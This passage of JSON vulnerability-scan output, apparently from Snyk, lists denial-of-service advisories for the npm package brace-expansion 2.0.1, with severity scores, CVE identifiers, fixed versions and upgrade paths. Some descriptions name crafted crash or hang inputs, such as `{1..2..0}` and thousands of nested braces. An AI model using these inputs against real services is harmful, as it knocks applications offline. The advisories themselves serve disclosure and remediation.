"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub 